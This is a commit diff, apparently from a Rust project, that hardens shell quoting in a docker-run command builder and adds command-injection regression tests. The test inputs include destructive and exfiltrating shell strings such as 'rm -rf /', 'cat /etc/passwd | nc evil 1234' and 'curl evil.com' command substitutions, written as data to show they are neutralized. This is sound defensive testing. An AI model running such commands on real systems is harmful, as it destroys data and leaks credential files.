修复+重构: 全库走查真bug+架构+P1/P2 后端 crate
- df-nodes: schema required 对齐 + docker POSIX 注入防御 + HumanNode timeout 1800 + parse_review_json(verdict规范/score clamp/正则兜底) - df-mcp: update 实体校验(防跨实体 B-260801-01) - df-storage: keyring 迁移失败达阈值清除明文 - df-ai: router estimated_context+tier tiebreak+DataReadOnly 兜底 + sanitize step4 显式不制造 orphan - df-ideas: adversarial tier:None 对齐
This commit is contained in:
@@ -119,7 +119,8 @@ async fn check_docker_available() -> anyhow::Result<()> {
|
||||
}
|
||||
|
||||
/// 构建 docker run 命令字符串。
|
||||
/// 卷/环境变量值用 shell_quote 包裹,防止空格/特殊字符注入。
|
||||
/// 所有用户可控参数(卷 host/container、env 值、working_dir、image、command)
|
||||
/// 均经 `shell_quote` POSIX 安全引用,杜绝 `;`/`|`/`&`/`$` 等 shell 元字符注入。
|
||||
fn build_command(params: &DockerParams) -> String {
|
||||
let mut parts: Vec<String> = vec!["docker run --rm".to_string()];
|
||||
|
||||
@@ -137,23 +138,43 @@ fn build_command(params: &DockerParams) -> String {
|
||||
|
||||
parts.push(format!("-w {}", shell_quote(¶ms.working_dir)));
|
||||
parts.push(shell_quote(¶ms.image));
|
||||
// command 原样追加(用户自行决定是否含参数 / shell 元字符),不做引号包裹,
|
||||
// 与脚本节点一致由 shell 解释器解析。
|
||||
parts.push(params.command.clone());
|
||||
// command 同样经 shell_quote,防止 `;`/`|`/`&` 等 shell 元字符注入
|
||||
// (如 `command = "ls; rm -rf /"` 被 shell 解释为两条命令)。
|
||||
// 若用户确需在容器内用管道/复合命令,应通过镜像 entrypoint 或显式 `sh -c '...'`
|
||||
// 实现,而非依赖外层 shell 元字符。
|
||||
parts.push(shell_quote(¶ms.command));
|
||||
|
||||
parts.join(" ")
|
||||
}
|
||||
|
||||
/// 简单 shell 引号包裹:含空格/特殊字符时用双引号包裹并转义内嵌双引号。
|
||||
/// POSIX shell 安全引用。
|
||||
///
|
||||
/// 单引号在 POSIX shell 中使所有字符失去特殊含义(唯一例外是单引号本身),
|
||||
/// 是最稳妥的引用方式。任一"非安全字符"(空白、`"`、`'`、`` ` ``、`$`、`;`、`|`、
|
||||
/// `&`、`<`、`>`、`(`、`)`、`{`、`}`、`!`、`#`、`~`、`*`、`?`、`[`、`]`、`=`前置、
|
||||
/// 换行/制表等不可见字符)出现即用单引号整体包裹,内部单引号以 `'\''` 关-转义-开
|
||||
/// 三段法转义(关闭单引号 → `\'` 转义单引号 → 重开单引号)。
|
||||
///
|
||||
/// 这样 `;` `|` `&` `$` `` ` `` 等所有 shell 元字符均被中和,杜绝命令注入。
|
||||
/// 纯字母数字 + 少量安全标点(`/` `.` `_` `-` `:`)的字符串原样返回(可读性)。
|
||||
fn shell_quote(s: &str) -> String {
|
||||
if s
|
||||
.chars()
|
||||
.any(|c| c.is_whitespace() || c == '"' || c == '$' || c == '`')
|
||||
{
|
||||
format!("\"{}\"", s.replace('"', "\\\""))
|
||||
} else {
|
||||
s.to_string()
|
||||
if s.is_empty() {
|
||||
// 空串单引号包裹(否则 shell 视为零参数)
|
||||
return "''".to_string();
|
||||
}
|
||||
if s.chars().all(is_shell_safe_char) {
|
||||
s.to_string()
|
||||
} else {
|
||||
// 单引号包裹 + 内部单引号转义:'\'' (关'→\'→重开')
|
||||
format!("'{}'", s.replace('\'', "'\\''"))
|
||||
}
|
||||
}
|
||||
|
||||
/// 判定字符是否无需引用即可安全出现在 shell 命令中。
|
||||
/// 仅允许字母数字与少量明确无 shell 语义的标点。
|
||||
fn is_shell_safe_char(c: char) -> bool {
|
||||
c.is_ascii_alphanumeric()
|
||||
|| matches!(c, '/' | '.' | '_' | '-' | ':' | '+' | '%' | '@' | ',')
|
||||
}
|
||||
|
||||
#[async_trait]
|
||||
@@ -382,9 +403,11 @@ mod tests {
|
||||
.unwrap();
|
||||
let cmd = build_command(&p);
|
||||
assert!(cmd.starts_with("docker run --rm"), "实际: {}", cmd);
|
||||
// /workspace 全安全字符,不加引号
|
||||
assert!(cmd.contains("-w /workspace"), "实际: {}", cmd);
|
||||
assert!(cmd.contains(" alpine "), "实际: {}", cmd);
|
||||
assert!(cmd.ends_with("echo hello"), "实际: {}", cmd);
|
||||
// command 含空格 → 单引号包裹
|
||||
assert!(cmd.ends_with("'echo hello'"), "实际: {}", cmd);
|
||||
}
|
||||
|
||||
#[test]
|
||||
@@ -400,20 +423,195 @@ mod tests {
|
||||
}))
|
||||
.unwrap();
|
||||
let cmd = build_command(&p);
|
||||
// 所有路径均纯安全字符,原样拼装
|
||||
assert!(cmd.contains("-v /host/src:/app"), "实际: {}", cmd);
|
||||
assert!(cmd.contains("-e CARGO_HOME=/cargo"), "实际: {}", cmd);
|
||||
assert!(cmd.contains("-w /app"), "实际: {}", cmd);
|
||||
}
|
||||
|
||||
// ── build_command: 命令注入防护(核心回归) ──
|
||||
|
||||
#[test]
|
||||
fn command_injection_semicolon_is_neutralized() {
|
||||
// command="ls; rm -rf /" 必须整体作为单条命令传给容器,
|
||||
// 不能被外层 shell 按 `;` 拆成 `docker run image ls` + `rm -rf /`。
|
||||
// 整体单引号包裹后,shell 将其视为单个 argv 传给 docker,
|
||||
// docker run 在容器内执行(无 shell),`ls; rm -rf /` 作为单条命令找不到 → 报错而非注入。
|
||||
let p = parse_params(&json!({
|
||||
"image": "alpine",
|
||||
"command": "ls; rm -rf /"
|
||||
}))
|
||||
.unwrap();
|
||||
let cmd = build_command(&p);
|
||||
assert!(
|
||||
cmd.ends_with("'ls; rm -rf /'"),
|
||||
"command 应被单引号整体包裹,实际: {}",
|
||||
cmd
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn command_injection_pipe_is_neutralized() {
|
||||
let p = parse_params(&json!({
|
||||
"image": "alpine",
|
||||
"command": "cat /etc/passwd | nc evil 1234"
|
||||
}))
|
||||
.unwrap();
|
||||
let cmd = build_command(&p);
|
||||
assert!(
|
||||
cmd.contains("'cat /etc/passwd | nc evil 1234'"),
|
||||
"管道 | 应被单引号中和,实际: {}",
|
||||
cmd
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn command_injection_ampersand_is_neutralized() {
|
||||
let p = parse_params(&json!({
|
||||
"image": "alpine",
|
||||
"command": "ls & curl evil.com"
|
||||
}))
|
||||
.unwrap();
|
||||
let cmd = build_command(&p);
|
||||
assert!(
|
||||
cmd.ends_with("'ls & curl evil.com'"),
|
||||
"& 应被单引号中和,实际: {}",
|
||||
cmd
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn command_injection_backtick_and_dollar_is_neutralized() {
|
||||
// 命令替换 $() 与 `` 都必须被中和
|
||||
let p = parse_params(&json!({
|
||||
"image": "alpine",
|
||||
"command": "$(curl evil.com) `whoami`"
|
||||
}))
|
||||
.unwrap();
|
||||
let cmd = build_command(&p);
|
||||
assert!(
|
||||
cmd.contains("'$(curl evil.com) `whoami`'"),
|
||||
"$()/`` 应被单引号中和,实际: {}",
|
||||
cmd
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn volume_host_injection_is_neutralized() {
|
||||
// 旧实现:含空格→双引号包裹,但 `;` 在双引号内仍被 shell 解释为命令分隔。
|
||||
// 新实现:整体单引号包裹,`;` 失去特殊含义。
|
||||
let p = parse_params(&json!({
|
||||
"image": "alpine",
|
||||
"command": "ls",
|
||||
"volumes": [
|
||||
{ "host": "/ws; rm -rf /", "container": "/c" }
|
||||
]
|
||||
}))
|
||||
.unwrap();
|
||||
let cmd = build_command(&p);
|
||||
assert!(
|
||||
cmd.contains("-v '/ws; rm -rf /':/c"),
|
||||
"volumes.host 注入应被单引号中和,实际: {}",
|
||||
cmd
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn env_value_injection_is_neutralized() {
|
||||
let p = parse_params(&json!({
|
||||
"image": "alpine",
|
||||
"command": "ls",
|
||||
"env": { "EVIL": "x; rm -rf /" }
|
||||
}))
|
||||
.unwrap();
|
||||
let cmd = build_command(&p);
|
||||
assert!(
|
||||
cmd.contains("-e EVIL='x; rm -rf /'"),
|
||||
"env 值注入应被单引号中和,实际: {}",
|
||||
cmd
|
||||
);
|
||||
}
|
||||
|
||||
// ── shell_quote ──
|
||||
|
||||
#[test]
|
||||
fn shell_quote_plain_passthrough() {
|
||||
// 仅安全字符:字母数字 + / . _ - : +
|
||||
assert_eq!(shell_quote("abc"), "abc");
|
||||
assert_eq!(shell_quote("/usr/bin"), "/usr/bin");
|
||||
assert_eq!(shell_quote("rust:latest"), "rust:latest");
|
||||
assert_eq!(shell_quote("Cargo.toml"), "Cargo.toml");
|
||||
assert_eq!(shell_quote("a-b_c.d"), "a-b_c.d");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn shell_quote_wraps_spaces() {
|
||||
assert_eq!(shell_quote("/a b/c"), "\"/a b/c\"");
|
||||
fn shell_quote_empty_becomes_empty_quoted() {
|
||||
// 空串必须输出 ''(否则 shell 视为零参数,导致参数错位)
|
||||
assert_eq!(shell_quote(""), "''");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn shell_quote_wraps_spaces_with_single_quotes() {
|
||||
// 含空格 → 整体单引号包裹(POSIX 安全,内部 ;|& 全部失效)
|
||||
assert_eq!(shell_quote("/a b/c"), "'/a b/c'");
|
||||
assert_eq!(shell_quote("echo hello"), "'echo hello'");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn shell_quote_neutralizes_semicolon() {
|
||||
assert_eq!(shell_quote("ls; rm -rf /"), "'ls; rm -rf /'");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn shell_quote_neutralizes_pipe() {
|
||||
assert_eq!(shell_quote("a | b"), "'a | b'");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn shell_quote_neutralizes_ampersand() {
|
||||
assert_eq!(shell_quote("a && b"), "'a && b'");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn shell_quote_neutralizes_dollar_and_backtick() {
|
||||
// $ 与 ` 在双引号内仍有命令替换语义,单引号才安全
|
||||
assert_eq!(shell_quote("$HOME"), "'$HOME'");
|
||||
assert_eq!(shell_quote("`whoami`"), "'`whoami`'");
|
||||
assert_eq!(shell_quote("$(cmd)"), "'$(cmd)'");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn shell_quote_escapes_embedded_single_quote() {
|
||||
// 内嵌单引号 → '\'' (关' → \' → 重开')
|
||||
// 例如 a'b → 'a'\''b'
|
||||
assert_eq!(shell_quote("a'b"), "'a'\\''b'");
|
||||
// 多个单引号都正确转义
|
||||
assert_eq!(shell_quote("'"), "''\\'''");
|
||||
assert_eq!(shell_quote("x'y'z"), "'x'\\''y'\\''z'");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn shell_quote_neutralizes_redirect_and_braces() {
|
||||
assert_eq!(shell_quote("a > /etc/passwd"), "'a > /etc/passwd'");
|
||||
assert_eq!(shell_quote("a < b"), "'a < b'");
|
||||
assert_eq!(shell_quote("{1,2}"), "'{1,2}'");
|
||||
// `!` 与 `*` 均非安全 → 整体单引号包裹
|
||||
assert_eq!(shell_quote("!*"), "'!*'");
|
||||
assert_eq!(shell_quote("file*"), "'file*'");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn is_shell_safe_char_classification() {
|
||||
// 安全
|
||||
for c in ['a', 'Z', '0', '9', '/', '.', '_', '-', ':', '+', '@', ','] {
|
||||
assert!(is_shell_safe_char(c), "{:?} 应判定为安全", c);
|
||||
}
|
||||
// 不安全(shell 元字符 / 空白 / 引号 / 元字符)
|
||||
for c in [
|
||||
' ', '\t', '\n', '"', '\'', '`', '$', ';', '|', '&', '<', '>', '(', ')',
|
||||
'{', '}', '!', '#', '~', '*', '?', '[', ']', '=',
|
||||
] {
|
||||
assert!(!is_shell_safe_char(c), "{:?} 应判定为不安全", c);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user